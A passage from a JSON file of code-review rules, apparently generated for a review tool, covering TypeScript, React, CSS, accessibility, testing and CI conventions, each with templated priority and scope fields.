and mocked. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Put type-only packages in devDependencies","rule":"@types/* and other build/test-only packages belong under devDependencies, not dependencies, since they are not needed at runtime.","apiRule":"@types/* and other build/test-only packages belong under devDependencies, not dependencies, since they are not needed at runtime. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use a standard auth header format consistently across services","rule":"Avoid inventing per-service token header names; align on a standard like `Authorization: Bearer <token>` so auth handling is uniform and predictable across apps.","apiRule":"Avoid inventing per-service token header names; align on a standard like `Authorization: Bearer <token>` so auth handling is uniform and predictable across apps. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Type guaranteed config values as non-optional to avoid undefined leaks","rule":"When an env/config value is enforced at startup, type the config accessor so it returns a definite string, instead of letting `get<string>()` return string|undefined and propagating undefined through the code.","apiRule":"When an env/config value is enforced at startup, type the config accessor so it returns a definite string, instead of letting `get<string>()` return string|undefined and propagating undefined through the code. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Return the best available data instead of null when you can","rule":"When a derived value cannot be fully computed, prefer returning a sensible fallback (e.g. lastUpdated or now) over null, so consumers still get useful information.","apiRule":"When a derived value cannot be fully computed, prefer returning a sensible fallback (e.g. lastUpdated or now) over null, so consumers still get useful information. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Omit initializers for ordered numeric enums","rule":"TypeScript numeric enums auto-increment from 0, so explicit sequential values (0,1,2,...) are noise. Leave them off unless the values are meaningful.","apiRule":"TypeScript numeric enums auto-increment from 0, so explicit sequential values (0,1,2,...) are noise. Leave them off unless the values are meaningful. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Follow the established pattern already used elsewhere in the codebase","rule":"When the project consistently uses a pattern (e.g. the repository pattern for data access), new code should follow it rather than introducing a one-off divergent approach.","apiRule":"When the project consistently uses a pattern (e.g. the repository pattern for data access), new code should follow it rather than introducing a one-off divergent approach. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Name routes and endpoints after what they do","rule":"Endpoint paths should describe the resource/action (e.g. /user/live-data-optin), not internal implementation names. Clear, purpose-driven route names aid discoverability.","apiRule":"Endpoint paths should describe the resource/action (e.g. /user/live-data-optin), not internal implementation names. Clear, purpose-driven route names aid discoverability. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use jest.fn() for plain mocks and spyOn only when observing or restoring","rule":"If a test only needs to stub a return value, jest.fn() is enough. Reach for jest.spyOn when you also need to assert how the original was called or restore it afterward.","apiRule":"If a test only needs to stub a return value, jest.fn() is enough. Reach for jest.spyOn when you also need to assert how the original was called or restore it afterward. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Keep API response decorators in sync with the statuses actually returned","rule":"OpenAPI response decorators are documentation; if the handler throws 502/500/404 the decorators must declare those, not a stale 400. Mismatched docs mislead consumers.","apiRule":"OpenAPI response decorators are documentation; if the handler throws 502/500/404 the decorators must declare those, not a stale 400. Mismatched docs mislead consumers. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Do not reuse a source field name when you change its meaning","rule":"If you remap an upstream value into a field that no longer means what the upstream name implies, define your own DTO with a clearly named field. Reusing the original name hides the transformation and misleads debugging.","apiRule":"If you remap an upstream value into a field that no longer means what the upstream name implies, define your own DTO with a clearly named field. Reusing the original name hides the transformation and misleads debugging. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Build a lookup map instead of calling find inside a loop","rule":"When you join two collections by key, convert one to a Map once (O(n)) instead of calling Array.find for each item (O(n*m)).","apiRule":"When you join two collections by key, convert one to a Map once (O(n)) instead of calling Array.find for each item (O(n*m)). Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use a class, not an interface, for DTOs picked up by Swagger","rule":"OpenAPI/Swagger metadata is emitted from classes, not interfaces. Define DTOs as classes so the schema is generated.","apiRule":"OpenAPI/Swagger metadata is emitted from classes, not interfaces. Define DTOs as classes so the schema is generated. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use a type guard instead of any or a cast for runtime discrimination","rule":"When you branch on the shape of a value at runtime, write a `data is T` type guard so the type narrows safely, instead of casting or typing as any. If it is broadly useful, lift it to a shared utility.","apiRule":"When you branch on the shape of a value at runtime, write a `data is T` type guard so the type narrows safely, instead of casting or typing as any. If it is broadly useful, lift it to a shared utility. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Drop redundant return await on a returned promise","rule":"When you immediately return a promise, `return await` adds an extra microtask and no value (outside try/catch). Just return the promise.","apiRule":"When you immediately return a promise, `return await` adds an extra microtask and no value (outside try/catch). Just return the promise. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't flag pre-existing behavior unrelated to the PR's change","rule":"If something worked a certain way before the PR and isn't touched by it, raising it in review is out of scope — the author may not own that decision.","apiRule":"If something worked a certain way before the PR and isn't touched by it, raising it in review is out of scope — the author may not own that decision. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't map(String) before join; join already stringifies","rule":"Array.prototype.join converts elements to strings, so an extra .map(String) before it is redundant.","apiRule":"Array.prototype.join converts elements to strings, so an extra .map(String) before it is redundant. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Match image intrinsic width/height to its rendered size","rule":"An img with intrinsic dimensions far larger than the CSS-rendered size causes layout shift and scaling; align them or rely on CSS sizing.","apiRule":"An img with intrinsic dimensions far larger than the CSS-rendered size causes layout shift and scaling; align them or rely on CSS sizing. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Mock remote assets with local files, never hit real URLs in tests","rule":"Don't passthrough to real remote assets in tests — it incurs cost and flakiness; serve small local test images instead.","apiRule":"Don't passthrough to real remote assets in tests — it incurs cost and flakiness; serve small local test images instead. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Enable test-only setup only in files that actually use it","rule":"Don't turn on middleware/config in a test file that doesn't exercise it; enable it only where the feature is used (e.g. inside renderRoute).","apiRule":"Don't turn on middleware/config in a test file that doesn't exercise it; enable it only where the feature is used (e.g. inside renderRoute). Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Avoid a fresh default array/object in a hook dependency","rule":"Defaulting to [] or {} inside render creates a new reference each render, defeating memoization. Use optional chaining with ?? in the body instead.","apiRule":"Defaulting to [] or {} inside render creates a new reference each render, defeating memoization. Use optional chaining with ?? in the body instead. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Observe element size with ResizeObserver, not the window resize event","rule":"ResizeObserver fires only when the observed element actually changes size, which is more precise and efficient than a window resize listener.","apiRule":"ResizeObserver fires only when the observed element actually changes size, which is more precise and efficient than a window resize listener. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Nest media queries inside the selector to avoid repeating it","rule":"Modern CSS allows nested @media; place the query inside the rule so you don't restate the selector.","apiRule":"Modern CSS allows nested @media; place the query inside the rule so you don't restate the selector. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Give SVG icons an accessible name with title or aria-label","rule":"Decorative-by-default SVGs that convey meaning need a <title> (preferred) or aria-label so assistive tech can announce them.","apiRule":"Decorative-by-default SVGs that convey meaning need a <title> (preferred) or aria-label so assistive tech can announce them. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use distinct sprite icons with titles over rotating one icon","rule":"For directional icons, prefer separate sprite symbols each with a <title> for accessibility rather than CSS-rotating a single icon.","apiRule":"For directional icons, prefer separate sprite symbols each with a <title> for accessibility rather than CSS-rotating a single icon. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Throw redirects in loaders for cleaner data typing","rule":"In data-loader frameworks, throwing a redirect (vs returning it) keeps the loader's success return type clean for useLoaderData<typeof loader>.","apiRule":"In data-loader frameworks, throwing a redirect (vs returning it) keeps the loader's success return type clean for useLoaderData<typeof loader>. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Document vendored/copied code with a comment and its source","rule":"If you must inline third-party or generated code (like a polyfill), add a header comment explaining what it is and where it came from.","apiRule":"If you must inline third-party or generated code (like a polyfill), add a header comment explaining what it is and where it came from. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"For an SPA, client-only bundled deps are devDependencies","rule":"In a single-page app everything bundled to the client is a build-time concern; only packages needed to serve belong in production dependencies.","apiRule":"In a single-page app everything bundled to the client is a build-time concern; only packages needed to serve belong in production dependencies. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Keep content available to screen readers with sr-only","rule":"When hiding text visually on some breakpoints, use sr-only / not-sr-only so the label stays announced rather than removed.","apiRule":"When hiding text visually on some breakpoints, use sr-only / not-sr-only so the label stays announced rather than removed. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Remove redundant return statements","rule":"A return at the end of a void function, or returning a value only to return it again, is noise; drop it.","apiRule":"A return at the end of a void function, or returning a value only to return it again, is noise; drop it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Return an empty response when the body is irrelevant in a test mock","rule":"When mocking a request whose body you don't care about, return an empty HttpResponse rather than fabricating JSON of the wrong content type.","apiRule":"When mocking a request whose body you don't care about, return an empty HttpResponse rather than fabricating JSON of the wrong content type. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefer template literals over string concatenation","rule":"Use template literals for readability when assembling strings with variables.","apiRule":"Use template literals for readability when assembling strings with variables. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Augment a shared global (like dataLayer) instead of overwriting it","rule":"Push onto an existing global array and guard its existence rather than reassigning it, which would clobber data other code set.","apiRule":"Push onto an existing global array and guard its existence rather than reassigning it, which would clobber data other code set. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Extract request setup into small named Express middleware","rule":"Move per-request setup (e.g. populating res.locals) into focused, documented middleware functions composed in the route chain rather than inline blocks.","apiRule":"Move per-request setup (e.g. populating res.locals) into focused, documented middleware functions composed in the route chain rather than inline blocks. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use a comment as a placeholder for a block you replace at build/serve time","rule":"When server-side string replacement swaps in markup, mark the spot with an HTML comment rather than a fake/typo'd meta tag.","apiRule":"When server-side string replacement swaps in markup, mark the spot with an HTML comment rather than a fake/typo'd meta tag. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Remove static head meta when it is set dynamically","rule":"If title/description are injected per-route at runtime, leaving generic static ones in the HTML shell can override or confuse crawlers; drop them.","apiRule":"If title/description are injected per-route at runtime, leaving generic static ones in the HTML shell can override or confuse crawlers; drop them. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Know that a function returning void can fill an undefined slot","rule":"TypeScript treats a void return as compatible with undefined; you can return undefined from helpers without an extra ?? undefined coercion.","apiRule":"TypeScript treats a void return as compatible with undefined; you can return undefined from helpers without an extra ?? undefined coercion. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Clear only the params you own, not the entire param set","rule":"Resetting to an empty object/params erases unrelated query params; delete the specific keys you manage instead.","apiRule":"Resetting to an empty object/params erases unrelated query params; delete the specific keys you manage instead. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Don't mutate the previous value inside a state updater; return a new one","rule":"Mutating prev (e.g. URLSearchParams) in a setState callback can cause stale state and missed re-renders. Copy it, then mutate the copy.","apiRule":"Mutating prev (e.g. URLSearchParams) in a setState callback can cause stale state and missed re-renders. Copy it, then mutate the copy. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Display values from the API rather than recomputing them client-side","rule":"If the backend already returns a computed figure, render it directly instead of redoing the math, which risks unit/scale bugs.","apiRule":"If the backend already returns a computed figure, render it directly instead of redoing the math, which risks unit/scale bugs. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Let a component own its own conditional rendering of internal pieces","rule":"If a child can decide whether to show a fallback (e.g. an avatar with/without an image), pass it the data and let it branch, instead of a ternary at every call site.","apiRule":"If a child can decide whether to show a fallback (e.g. an avatar with/without an image), pass it the data and let it branch, instead of a ternary at every call site. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Choose every vs some to match the intended presence semantics","rule":"A 'has any data' check should use .some(), not .every(); confusing the two flips behavior, e.g. returning true when all values are absent.","apiRule":"A 'has any data' check should use .some(), not .every(); confusing the two flips behavior, e.g. returning true when all values are absent. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"When you invert a boolean's name, flip every use of it","rule":"Renaming hasNoX to hasX changes its meaning; you must also remove/add the negation at all call sites or the logic inverts silently.","apiRule":"Renaming hasNoX to hasX changes its meaning; you must also remove/add the negation at all call sites or the logic inverts silently. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"Narrow a filter with an intersection type instead of restating the whole shape","rule":"In a type predicate, intersect the original type with the narrowed field so you don't have to re-list every property.","apiRule":"In a type predicate, intersect the original type with the narrowed field so you don't have to re-list every property. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Handle problematic data in code, don't strip it from test fixtures","rule":"If the backend can return a value (e.g. null), keep it in the mock and handle it in the component; removing it from fixtures just hides the bug.","apiRule":"If the backend can return a value (e.g. null), keep it in the mock and handle it in the component; removing it from fixtures just hides the bug. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Put statements before break in a default case, or drop the redundant break","rule":"In a switch default, code after break never runs. Place logic before break, or remove break since it is the last case.","apiRule":"In a switch default, code after break never runs. Place logic before break, or remove break since it is the last case. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Collapse repeated conditional branches into a helper plus a switch","rule":"When many if-blocks repeat the same shape with different values, extract the shared work into one function and drive it with a switch.","apiRule":"When many if-blocks repeat the same shape with different values, extract the shared work into one function and drive it with a switch. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Name component variants after their context, not their styling","rule":"Variant names should describe where/how the component is used (page, table) rather than visual adjectives, so call sites read clearly.","apiRule":"Variant names should describe where/how the component is used (page, table) rather than visual adjectives, so call sites read clearly. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't restate a name that's already provided elsewhere","rule":"Avoid setting a step/job name that merely duplicates a name the action and job already carry; redundant labels add nothing.","apiRule":"Avoid setting a step/job name that merely duplicates a name the action and job already carry; redundant labels add nothing. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Expand acronyms and document non-obvious config","rule":"Spell out acronyms (e.g. GCR = Google Container Registry) and add brief comments for non-obvious config like an empty workflow_dispatch, so readers don't have to guess.","apiRule":"Spell out acronyms (e.g. GCR = Google Container Registry) and add brief comments for non-obvious config like an empty workflow_dispatch, so readers don't have to guess. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't quote YAML scalar values unless required","rule":"YAML often doesn't need quotes around simple scalars (branch names, etc.). Drop unnecessary quotes for cleaner config; quote only when the value would otherwise be misparsed.","apiRule":"YAML often doesn't need quotes around simple scalars (branch names, etc.). Drop unnecessary quotes for cleaner config; quote only when the value would otherwise be misparsed. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Namespace shared config/asset paths to avoid future clashes","rule":"When a path could collide with a framework convention later (e.g. .github/actions), use a namespaced folder name so adding the convention later won't conflict.","apiRule":"When a path could collide with a framework convention later (e.g. .github/actions), use a namespaced folder name so adding the convention later won't conflict. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Pin CI to the latest stable major versions of actions","rule":"In CI workflows, use the current major version of shared actions (e.g. actions/checkout@v4) rather than trailing older ones, unless a runner constraint specifically blocks it.","apiRule":"In CI workflows, use the current major version of shared actions (e.g. actions/checkout@v4) rather than trailing older ones, unless a runner constraint specifically blocks it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use a wrapper component to share JSX between content and Suspense fallback","rule":"Extract the shared header/skeleton into small components and a wrapper so the same markup feeds both the rendered content and the Suspense fallback, shrinking the diff and matching UX.","apiRule":"Extract the shared header/skeleton into small components and a wrapper so the same markup feeds both the rendered content and the Suspense fallback, shrinking the diff and matching UX. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Provide a meaningful, context-appropriate fallback error screen","rule":"Don't reuse a data-heavy component (e.g. a profile with tables) as an error fallback. Render a generic error screen that still signals context, and don't rely solely on per-section error handling.","apiRule":"Don't reuse a data-heavy component (e.g. a profile with tables) as an error fallback. Render a generic error screen that still signals context, and don't rely solely on per-section error handling. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Match border-radius across visually related blocks","rule":"Keep corner rounding consistent between elements meant to read as one group (e.g. table heading, body, and pagination), so the composite looks cohesive.","apiRule":"Keep corner rounding consistent between elements meant to read as one group (e.g. table heading, body, and pagination), so the composite looks cohesive. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't render controls (e.g. buttons) that do nothing","rule":"Remove placeholder buttons/controls with no behavior; they confuse users. Add them back when they actually do something.","apiRule":"Remove placeholder buttons/controls with no behavior; they confuse users. Add them back when they actually do something. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Show scroll affordances only when content actually overflows","rule":"Don't leave a permanent border/shadow indicating scroll. Detect overflow (scroll event + state, or CSS) and show the shadow/border only while the content overflows.","apiRule":"Don't leave a permanent border/shadow indicating scroll. Detect overflow (scroll event + state, or CSS) and show the shadow/border only while the content overflows. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use a prettier-ignore comment to protect intentionally-formatted blocks","rule":"When Prettier reformats markup you deliberately kept on one line (e.g. grouped selectors), restore it and add a prettier-ignore comment instead of accepting the churn.","apiRule":"When Prettier reformats markup you deliberately kept on one line (e.g. grouped selectors), restore it and add a prettier-ignore comment instead of accepting the churn. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Pass the expected response type to typed fetch helpers","rule":"When a fetch wrapper accepts a generic for the response shape, supply it so the resolved data is typed instead of any.","apiRule":"When a fetch wrapper accepts a generic for the response shape, supply it so the resolved data is typed instead of any. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Make param-driven UI tolerant of unknown/missing values","rule":"When matching against query-param values, fall back gracefully for unknown or missing values (e.g. treat absent from/to as 'all') instead of breaking the UI.","apiRule":"When matching against query-param values, fall back gracefully for unknown or missing values (e.g. treat absent from/to as 'all') instead of breaking the UI. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Add inherent spacing around content so it never hits container edges","rule":"Give content (images, error states) some padding/margin so on short or narrow viewports it doesn't touch the borders. Match spacing patterns already used elsewhere for consistency.","apiRule":"Give content (images, error states) some padding/margin so on short or narrow viewports it doesn't touch the borders. 